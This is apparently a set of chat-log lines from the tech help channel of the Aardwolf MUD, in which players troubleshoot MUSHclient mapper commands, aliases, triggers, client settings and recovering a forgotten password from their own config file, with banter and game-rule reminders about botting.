T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: the auto hunt failed trying to do some 'xmapper move' shit
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: and that was for quest mob
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: help hunt trick
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: if i use it on cp or gq mobs it says 'you cannot hunt that target'
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: his issue is that the extended runto and crap isn't working for him
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: i know about hunt trick but i cant see what use such an extensive plugin is if its just for q mobs
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: and the hunt trick isn't designed to take you to the mob, it's designed to identify which of multiple mobs with similar short names your mob is so you can where it and go to it
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: auto-loop through the 1. 2. etc so you don't have to
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: nod  u just said rtfm and  just now spoon fed him :p
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: i don't use snd for anything other than it searching the database for my qmob
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: can't help myself... sometimes the helplessness is like that poor dirty kid in the infomercials
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rabshakeh Tech: anybody know how to get my password out of my playerfile for mushclient?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rabshakeh Tech: i figured it out once, it's in asterisks in client itself
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rabshakeh Tech: cause i misplaced my password sheet
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Daesilme Tech: Not sure if it's stored in plain text or not, but open the .mcl file in notepad, and check there.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: ....you keep a password sheet...
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rabshakeh Tech: my passwords aren't mnemonic ever
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rabshakeh Tech: i might remember it correctly though
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rabshakeh Tech: will do daesil, i'll try it
T3/r7/2013-02-28.txt.gz:{chan ch=tech}BobTheGreat Tech: It's stored in the world mcl file, and iirc it's base64'ed.  Probably wrong, though.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Your password? Yes, it's in the .mcl file, and  you'll need something like http://www.base64decode.org/ to view it.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: u could  always sniff the traffic as it passes over inet in plain text :p
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Daesilme Tech: Also true
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: and then  set up email so imms can send u a replacement pass and that would be easier
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rabshakeh Tech: i haven't kept asteady email account in 10 years
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Vakieh Tech: That is a silly move
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rabshakeh Tech: so ialways kept it blank, i'll set it up once unfrozen though
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Daesilme Tech: Once again, you are chastised for using logic and rational thought, Vanion.  These are not approved concepts.  ;)
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Runtur Vanion Tech: then ur a shady character :p
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: is it normal to have 'You seem unable to hunt that target for some reason.' when using any kind of auto hunt (bast/winkle winkle/etc) for cp+gq mobs?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}BobTheGreat Tech: Aardweapons don't have stat mods. However, they have the MAXIMUM possible damage for any weapon of that level. Also, they have hr/dr bonuses. (see help quest items for help on all stats on all quest items- very useful helpfile.)
T3/r7/2013-02-28.txt.gz:{chan ch=tech}BobTheGreat Tech: mis
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: is it normal to have 'You seem unable to hunt that target for some reason.' when using any kind of auto hunt (bast/winkle winkle/etc) for cp+gq mobs?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Thunderous Norton Tech: help hunt trick
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rabshakeh Tech: i think that's how it identifies which room it's in
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: You've done over 1.3k campaigns.  Please tell me you know these things :P
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: is there a way to then runto that room?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Birdbrain Metria Tech: If you're using the Aardwolf Mushclient package, learn how to use the mapper.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: the help files are technical and confusing
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: is it possible to link mobs to rooms using notes?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Birdbrain Metria Tech: You know, that's just plain lazy.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: wtf?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: im trying to learn
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ixle Tech: You might have to read some "technical" stuff.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Birdbrain Metria Tech: You're a tier 5 and you haven't learned where mobs are yet?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: i tried, i couldnt understand so im asking here
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: i have but i want to know for gq's and cp's
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Vakieh Tech: You are coming at this all backwards... if you want to automate, you either need a premade solution, or you NEED to learn to code. But of course, you have me on ignore, so I guess you will just keep on asking all the wrong questions...
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: Vakieh Tech: You are coming at this all backwards... if you want to automate, you either need a premade solution, or you NEED to learn to code. But of course, you have me on ignore, so I guess you will just keep on asking all the wrong questions...
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: im sick of getting like 2 or 3 mobs before ixle or one of the other aces wins the gq and i dont even finish it after being by no means slow
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Vakieh Tech: Scars, please don't do that :-( Could be considered a breach of the ignore rules to have a proxy relaying what I say
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: sure, everyone else cheats, it's not that they're better
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: eh, if that's a breach of the rules, i accept whatever the consequence... it wasn't hateful, spiteful, whatever...
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ixle Tech: I read some "technical and confusing" stuff though.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Vakieh Tech: It wouldn't be you who gets in trouble for it :-P
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Scars Tech: you didn't ask me to do it
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ixle Tech: So you just need to decide which is worse, losing gq's or learning.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: so i leave the tech channel even more confused than i was to start, thanks.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Jhav Tech: You're welcome! :D
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Our work here is done.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Tech: Ixle bows deeply.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ixle Tech: 42, that's the answer.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: ok so i figured out 'mapper area <text>' will search the current area for the text string then give a list of room's with room id's and i can then use 'mapper goto' to runto that room right
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: however
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: Oh nice!  I didnt know that -- very helpful!
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: when i make an alias 'map *' as the alias and 'mapper area %1' as the send the mud doesn't understand it
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Doc Holliday Tech: is it set for execute?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Mendaloth Tech: send to execute
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Remarto Tech: have you tried putting it to send to execute
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Doc Holliday Tech: lol
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: ahh
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: that's better :)
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Ixle Tech: And that's how the tech channel works :)
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Tech: Doc Holliday nods at Ixle.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: Is there an easy way to get the mapper to go to the top hit after mapper area?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Click on it.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: without that?  I don't like the mouse :P
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Mendaloth Tech: Have you read mapper help all?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Mendaloth Tech: mapper next
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Birdbrain Metria Tech: mapper goto <vnum>
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: Mapper next!
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Getsuko Tech: I did -- I looked under "moving" but it was under "searching"
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: is there a way to delay the timer on the mapper cexit command?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: thinking of sand castle after you say i wish to see the genie
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Remarto Tech: read the mapper help it will tell you
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Bloood Tech: ok
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Remarto Tech: or as others would put it "RTFM"
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rhavage Tech: Hey, tech types. Are there portable little radios that you can get xm tied to? 
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rhavage Tech: Lemme rephrase for clarity. I'm gonna rehike the Appalachian Trail pretty soon and I'd like to have xm radio for listening to baseball while I'm away. 5 months, Georgia to Maine. anybody know?
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Mokg Tech: yeap, lots here: http://lmgtfy.com/?q=Are+there+portable+little+radios+that+you+can+get+xm+tied+to%3F+
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rhavage Tech: heh
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Rhavage Tech: Wow, that was actually pretty cool, getting my question to type itself out in google. Not sure how you did it, but it was impressive.
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Remarto Tech: lol
T3/r7/2013-02-28.txt.gz:{chan ch=tech}Mokg Tech: magic
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Acheos Tech: wow not happy
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Acheos Tech: anyone out there?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Acheos Tech: need help badly
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Tech: Acheos bursts into tears.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: hmm why when i use runto it uses academy social then it usus xrt, using mush
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: anyone?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Ontuct Tech: sounds intriguing mine does not do that
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Did you mess up a runprefix?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: ahh i messed up my mapper portals
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Aslyn Tech: hello! am wondering if there is a way to increase the font size in the main window in MUSHclient?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Ophelion Tech: in mush hit alt+5 to open the window config /output window
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Aslyn Tech: ah! awesome! thank u!
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: how do i remove 1 mapper portal? forgot/
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Read mapper help
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Xantcha Tech: accidentally upgrade your Mushclient version without making a backup... conveniently deletes all of them for you, as well as your map :P
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Chimeishio Tech: when you do ctrl F to find something, whats do you hit to find the next instance in MUSH?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Bast Tech: ctrl-shift-F
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Chimeishio Tech: thanks
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Lorddillon Tech: whats this * You are now dead. * shows it when i load plugins
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Doc Holliday Tech: whats the command to view room details
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: look ;)
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You mean brief? Ie, room descs when walking in, or something else?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Doc Holliday Tech: want to see like heal rate - etc
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: survey
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Hanslanda Tech: recon
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Doc Holliday Tech: for manor
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Sonshi Tech: rstat
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: rstat
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Doc Holliday Tech: thanks
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Doc Holliday Tech: rstat was what i was looking for
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Doc Holliday Tech: you shoulda known that cheezburger
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Hanslanda Tech: he did, he was just teaching you the value of specificity.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Doc Holliday Tech: lol
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: if I have an alias that goes something like 'cast fire %1', is there any way to capture '%1' as a temporary variable?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Doc Holliday Tech: when i did it i made 2 vars, 1 to execute, and 1 to "send to variable"
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Doc Holliday Tech: probably not the best method of doing it, but it was 2 identical alias
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Zetkax Tech: in mushclient is there a way to get the room number automatically displayed without moving mouse pointer over mini map?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Ophelion Tech: mapper help all has your answer
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Zetkax Tech: something like the miniwin that constantly displays str/int/wis, is there something to display the room number?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Ophelion Tech: i dont think fiendish has an echo for that.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Acheos Tech: how do you transfer aliases from a previous version?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scurvy Tech: aardwolf.mcl is a text file, you can copy+paste
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Rabshakeh Tech: maybe in file, then import from file
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Rabshakeh Tech: aardwolf.mcl includes all the info that all the plugins use?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: there are instructions on how to do this
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: they are pretty clear
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Rabshakeh Tech: got a link for it?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Acheos Tech: yes please, im so bad with this stuff, i could use the link also
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: http://www.aardwolf.com/play/downloadmc.htm
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: down a bit, where it talks about upgrading
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Rabshakeh Tech: thanks
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Tech: Scars gallantly tips his hat.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Acheos Tech: wooo i did it lol!
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Mendaloth Tech: Are there such thing as constants in lua?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: can someone show me how to make triggers?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Mendaloth Tech: http://code.google.com/p/aardwolfclientpackage/wiki/Triggers
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Mendaloth Tech: Assuming you are mushclient.  Otherwise we will need to know more info.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: im talkin about as in the app
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: there is a tab that says triggers and when i click it says new trigger and close
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scurvy Tech: you want to make a new trigger.. so why don't you click 'new trigger' and see where that takes you
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: then when i click it says on the firdt line name, second line pattern, then on the third line two checkable boxes that say interperet as literal and only fire once and then on the fourth line it says new action
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scurvy Tech: did you look at the website?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: no .-.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Getsuko Tech: Is there any way to trigger on mapper output?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: to do what, pray tell
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Yeah, what is it you're trying to do?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Not by actually triggering on the output.  You can change the scripts themselves so they do something extra when they would normally be doing the output./
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Getsuko Tech: For search and destroy, I want to "go" if I find the line ~~~ 1
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Careful
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: S&D is only a trigger away from being a bot.  Don't cross that line, m'kay?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Getsuko Tech: Yeah its just to save me from two commands instead of xcp 1 (wait a second) go. 
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: yeah, that sounds like waaay to much work
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Getsuko Tech: I know right?! 
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Getsuko Tech: Actually it's because of my OCD: sometimes I need to type go immediately, other times I have to run first.  I don't know why it grates on me so much to not know how long I have to wait before typing go
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Mokg Tech: OCD, new excuse for botting
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: that's hardly OCD, that's more like "i want the thing to run itself"
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Getsuko Tech: actually it wont work because ~~~ 1 is also used when you cp check
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scurvy Tech: I too.. have this medical condition.. cheat help plz
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Hey this area has a mobprog to get entrance, that doesn't comply with the Americans with Disabilities Act..
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Rondel Tech: but you're in africa
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: But I'm still American!
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scurvy Tech: I am illiterate, I demand a graphical interface
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vost Tech: you birdbrain
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Rondel Tech: are you a diplomat?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Negative, I am a meat popsicle.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: ah, a canadian
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Actually I used to be Canadian, but not anymore.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Getsuko Tech: america => canada => africa?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scurvy Tech: canada is in america
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Of the northern variety
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Getsuko Tech: northern north america
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Rondel Tech: canada is in africa
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: what is a pattern for triggers?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: the thing you are trying to match
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: the pattern is the thing you are wanting to trigger off of, basically
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: where can i learn on howto make patterns?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scurvy Tech: did you read the website?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: you don't... *sigh*... i'm not going to explain these kinds of basics honestly
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: bc im so confused on patterns
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: start simple then
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scurvy Tech: maybe triggers are not for you
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: a pattern is "i want to jump everytime i see the tick notification" -> the tick notification is the pattern you trigger off of
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: so the pattern is sort of the "okay, now run the trigger"
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: ok and how would you right a pattern?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: and when the trigger sees the pattern it's looking for, it executes wahtever you tell it to do
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: write*
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Well, before you right a pattern, first you have to wrong a pattern.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: copy/paste --> TICK <-- into the pattern line?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: what do you THINK a pattern is?  because what i'm describing seems to be explaining something your not digesting
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: i think that a pattern is a type of code
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: and there we are, that's not the case
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Here's the basics.  You have the exact text for the line you want to cause the desired result as the pattern.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: are you aware of what a trigger is?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: can you tell me what you think a trigger is?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Here's the slightly-more-than-basics - you can use a * to match anything.  So "* bites you!" matches "A dog bites you!" and "Jhav bites you!"
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: oh so basicaly you tell the trigger what to type when you do  certain action
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: no
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: that's an alias
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: an alias is "i type this, but i want to do this"
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Here's the totally-non-basics: http://www.regular-expressions.info/
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: a trigger is "i saw this, so do this"
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: is a trigger part of a gun ?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Patterns can be simple text (Any line with "Metria" in it someplace) or they can be complicated. (Any line that starts with "Tech:" and does NOT have "Metria" in it)
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: too complicated guys... lets get past the what a trigger is, so then trying to figure out what a pattern is makes more intuitive sense
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: so, stay with me here
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: For gods sake, do not send a newbie trigger writer to regular expressions :/
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: an ALIAS is where i type roar, but the command i want sent is *slap norton
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: That's why I said 'totally non-basics' :P
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: so, basically, I've aliased *slap norton, to roar
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: make sense?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to assign CTRL-R (repeat last command) to the keypad in MUSHClient?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: Control-Shift-1
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: you clear your CLI on enter?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: You can put an alias in there, can't you?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Yes you can, Metria.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Biznitch Isabelle Tech: has zmud updated their mapper to compete with mush? ie: auto-mapping
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: yup, in cmud
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: zmud is dead and no longer updated, IIRC
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: I think you missunderstoon, Metria... I want to assign a command to the keypad.  I want "repeat last command" assigned to a key on the keypad
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Arnica Tech: Like the up arrow, maybe?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Biznitch Isabelle Tech: k next question then....can you directly import zmud scripts ect to cmud? or have to convert like mush?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Nocilis Tech: von, sending ! to aardwolf will do te same thing server side
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: kokurai:  you okay after all that?
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: I could certainly macro it... except I don't know how to invoke [control-r] from a macro
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: AHHHH!  I think you have a winner there, Nocilis... thanks
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: AHHHH!  I think you have a winner there, Nocilis... thanks
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Birdbrain Metria Tech: not sure, Isabelle. Last time I tried cmud (a long long time ago) it wasn't all that different from zmud and most scripts worked without changes.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: honestly, your best bet is to just dive into mush at this stage
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Arnica Tech: It is more of a wade
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: closer... My goal is to have two side by side buttons... one quaf the heal potion flavor-of-the-week, while the other repeats my last attach....  trouble is, as soon as I invoke a heal potion, that becomes my 'last command' as far as the game is concerned
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: i'm confused, because i don't undertand why a keypad would override your buffer
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: in that case, you'll want a script attached to the right button thet looks at checks the command buffer, and ignores the quaff one
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: i have my command line set up to just store what i've typed in last
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: so i can just hit enter again
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: that might be good enough for me, scars...
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: What stops you from putting your attack on the macro?  Don't try to repeat the last command, just hard code it to use some variable.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: I guess there is a setting somewhere where it leave the command line populated
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: And then that variable can be "c immo" or "spiral" or whatever.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: what he means scars is... have 1 button to use last command sent, and one to quaff....     eg... he types kill troll  and can hit right button to do it again and again, and hit left button to quaff without it interfering with other button picking up last command used
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: the touble with the attack is that they need a different <target> (%1) every time
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: No, they don't
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: okay, and if he typed kill troll, and hit his keypad for it, the stored CLI would still have kill troll... so he just hits enter
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: ok so i put title as quest time and note as show notification
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Jhav Tech: Unless you're targeting from out of combat, using an attack without an argument just targets whatever your autoattacks are hitting.
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Scars Tech: hit his keypad for quaff, i mean
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Vonliege Tech: that's exactly what I am after, Norton
T3/r7/2013-03-01.txt.gz:{chan ch=tech}Kokurai Tech: pattern*
